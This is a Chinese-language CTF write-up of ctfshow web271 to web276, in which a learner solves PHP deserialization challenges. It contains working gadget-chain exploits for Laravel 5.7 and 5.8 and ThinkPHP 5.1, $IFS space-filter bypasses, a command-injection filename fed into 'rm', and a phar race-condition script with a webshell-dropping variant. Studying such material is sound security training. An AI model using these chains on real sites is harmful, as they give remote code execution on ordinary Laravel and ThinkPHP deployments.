为什么不用分析具体为什么能成功 ,后面会有几个专题 会对php框架进行更深入的了解 这里面会专门的研究 为什么能够实现RCE
前面作为初步的熟悉 首先知道一下他的框架 知道框架的风格 知道啥版本可以用什么来打
首先先不用太研究 这样的话 自己会感觉会难 所以以后再说 随着积累刚开始不理解的地方做的多了就豁然开朗
就像收集的框架确定有用后 可以保留 以后没准遇得到
web271
laravel5.7反序列化漏洞
使用网上公布的反序列化的链子
源代码
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
exp
<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls /'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>
不知道为什么么找了好多链子 这个和大师傅的链子一摸一样 但是都有一个通用的问题 一旦命令中出现空格 就不好使,自己找出来解决方式了 使用$IFS代表空格
$IFS$9
是为了绕过命令中的空格 加不加$9都可以 他俩的意思应该都是空格 反正能代替空格
发现了flag
查看flag内容
web272-273
laravel5.8反序列化漏洞
源码
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
看看之前的poc可不可以 不行,新找一个
exp
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection = 'tac$IFS/f*';
}
}
namespace{
$d = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Broadcasting\BroadcastEvent();
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}
?>
查看根目录文件
查看flag
成功
大师傅的链子我没找到 找到一个基本差不多的 但是我的不好使 他直接传cookie 将结果传进了cookie中
然后的到路径后 写木马到1.php
web273用272的链子就行 老师的这个我是真喜欢 但是我的不好使
web274
thinkphp框架
5.1也有几个链子
现在就是找反序列化入口
查看源码发现提示 GET方式传入data参数
网上找一个thinkphp5.1的链子
exp
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
通过lin进行传参
成功获取flag
web275
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename; //定义三个属性
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){//将传进来的两个参数赋值给属性
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){//在filename如果匹配了php 那就给evilfile赋值为真
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){//在filecontent如果匹配flag 那就给evilfile赋值为真
$this->evilfile=true;
}
return $this->evilfile;//返回evilfile
}
public function __destruct(){//反序列化的时候 如果evilfile为真
if($this->evilfile){ //执行系统命令rm $filename
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){//传入fn
$content = file_get_contents('php://input');//获取通过 HTTP POST 请求发送的原始数据。
$f = new filter($_GET['fn'],$content);//传入两个参数 第一个参数get获取到的 第二个参数post获取到的 会先触发construct后触发destruct
if($f->checkevil()===false){//如果evilfile为假
file_put_contents($_GET['fn'], $content);//写文件 将POST值写入GET的值的文件中
copy($_GET['fn'],md5(mt_rand()).'.txt');//将从 GET 请求中获取的文件复制到一个以随机生成的 MD5 哈希作为文件名的新文件中。
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除GET的文件 前面代表网站根目录
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
//
看的差不多足够我们RCE(远程代码执行)了
很简单
查看flag
可以看到都不需要干别的就能rce了
web276
(这道题我感觉我比百度搜的都细 这道题他们都不写)
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/7 23:20
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){//必须保证evilfile和admin都为真 才可以
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除文件 在删除见我们要使用phar://进行解析该文件使得phar文件内容进行反序列化
echo 'work done';
}
}else{
echo 'where is flag?';
}
<?php file_put_contents("new_file.txt", "Hello, World!"); ?>
需要先写入phar包,然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行
phar包通过 phar:// 解析获取处理时会反序列化
先生成一个我们所需的phar包(使用php生成phar模板按照我们所需要求修改的)
生成phar包
<?php
highlight_file(__FILE__);
class filter{
public $filename="1;tac f*";
public $filecontent;
public $evilfile=true;
public $admin = true;
}
$a=new filter();
@unlink('phar.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('phar.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$phar->setMetadata($a);//写入meta-data 这里进行序列化
$phar->addFromString("phar.txt","phar"); //添加要压缩的文件
$phar->stopBuffering();
用python写一个脚本 持续提交phar和获取phar内容 开启条件竞争 (这个脚本按照大师傅 自己写的 真爽 写的代码量巨少 功能巨强)
python脚本
import requests
import threading
url = 'http://8f28ec2c-f5c0-445d-b3a3-ac9ebe60556c.challenge.ctf.show/'
data = open('./phar.phar', 'rb').read()
flag = True
def write(): # 写入phar.phar
requests.post(url+'?fn=phar.phar', data=data)#post方法提交数据 数据就是从本地phar文件中获取的二进制数据(图像视频什么的必须使用二进制方式读取否则乱码)
def unserialize(): # 触发反序列化
global flag #在函数内部声明一个全局变量 函数内部修改变量 必须使用global
r = requests.get(url+'?fn=phar://phar.phar')#发送get请求 以phar方式进行读取我们传入的phar文件 在没删除之前快速读取
#请求如果获取到内容了保存在r变量中
if 'ctfshow{' in r.text and flag:#在内容中如果存在ctfshow字样
print(r.text)
flag = False
while flag: # 线程条件竞争,直到读到flag
threading.Thread(target = write).start() #开启一个线程 循环执行线程里面的函数
threading.Thread(target = unserialize).start() #同理 直到输出了r.text flag为假 才会停止执行
执行python代码 成功获取到flag
因为我是小白嘛 什么都不是很理解 这道题我发现了python脚本的好处 直呼神奇
说是条件竞争 我又想到了一种 但是没有成功不知道什么原因 就是再没删除前写入一句话木马到一个文件内 ,最后访问这个文件 可惜没有成功 但是是个思路记录一下吧
import requests
import threading
import time
url = 'http://64ebefe9-27f9-48a2-bf08-06f23b3f36f0.challenge.ctf.show/'
data = "<?php file_put_contents('tzy.php','<?php phpinfo();?>', FILE_APPEND); ?>"
flag = True
def post():
requests.post(url+'?fn=1.PHP', data=data)
def get1():
requests.get(url + '1.php')
def get2():
r = requests.get(url+'tzy.php')
if 'PHP Version' in r.text:
global flag
flag = False
while flag:
threading.Thread(target=get1).start()
threading.Thread(target=get2).start()
threading.Thread(target=post).start()
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